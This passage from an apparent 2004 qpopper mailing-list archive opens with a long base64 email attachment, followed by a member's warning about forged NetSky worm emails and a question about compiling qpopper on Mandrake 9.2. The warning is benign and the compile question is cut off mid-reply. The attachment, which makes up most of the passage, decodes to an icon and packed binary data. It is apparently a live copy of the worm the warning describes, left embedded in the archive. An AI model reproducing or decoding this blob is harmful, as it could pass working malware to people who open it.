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
F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq
9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO
tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA
KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA
gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi
IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU
REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi
IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI
iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE
RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj
RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE
iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS
UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE
REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz
QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA
BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF
CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB
dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6
ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3
AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+
EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ
UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX
zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ
TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp
Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k
Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB
dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS
AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd
Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA
JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y
TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA
------=_NextPart_000_001B_01C0CA80.6B015D10--
From: Greg Earle <earle at isolar.DynDNS dot ORG>
Subject: Forged NetSky virus e-mails to the mailing list using my e-mail address
Date: Tue, 27 Apr 2004 09:20:22 -0700
In the last day I've received 4 automated e-mails that indicate that
the NetSky worm has been sent to the mailing list using my e-mail
address as the forged "From: " line. (Since Windoze anti-virus products
appear to be too stupid to realize that the "From: " lines are forged.
Duh.)
Just wanted everyone to know that I did not send these e-mails with
NetSky embedded in them. (I didn't even see them myself on the list
mails - SpamAssassin killed them for me.)
- Greg
Date: Wed, 05 May 2004 23:25:40 -0700
From: Mike <qpopper at mikesbytes dot com>
Subject: Problem compiling qpopper on Mandrake 9.2
I recently upgraded to a new box with Mandrake 9.2 and have not been able
to install qpopper 4.0.5.
I had previously installed qpopper 4.0.5 on Mandrake 9.0 with no problem.
After running configure (./configure --with-openssl=/usr/local/ssl) with no
problem, I get the following when I try to make:
-I../common ../common/libcommon.a \
-lcrypt -L/usr/local/ssl/lib -lssl -lcrypto
../common/libcommon.a(maillock.o)(.text+0x3fc): In function `Qmaillock':
/home/mail/qpopper4.0.5/common/maillock.c:278: the use of `tempnam' is
dangerous, better use `mkstemp'
While I have considered using a different POP server, I'd prefer to get
qpopper up and running.
Any suggestions for how I can get qpopper to properly compile?
Thanks in advance.
Date: Thu, 6 May 2004 01:06:20 -0600 (MDT)
From: The Little Prince <thelittleprince at asteroid-b612 dot org>
Subject: Re: Problem compiling qpopper on Mandrake 9.2
On Wed, 5 May 2004, Mike wrote:
> I recently upgraded to a new box with Mandrake 9.2 and have not been able
> to install qpopper 4.0.5.
>
> I had previously installed qpopper 4.0.5 on Mandrake 9.0 with no problem.
>
> After running configure (./configure --with-openssl=/usr/local/ssl) with no
> problem, I get the following when I try to make:
>
> -I../common ../common/libcommon.a \
> -lcrypt -L/usr/local/ssl/lib -lssl -lcrypto
> ../common/libcommon.a(maillock.o)(.text+0x3fc): In function `Qmaillock':
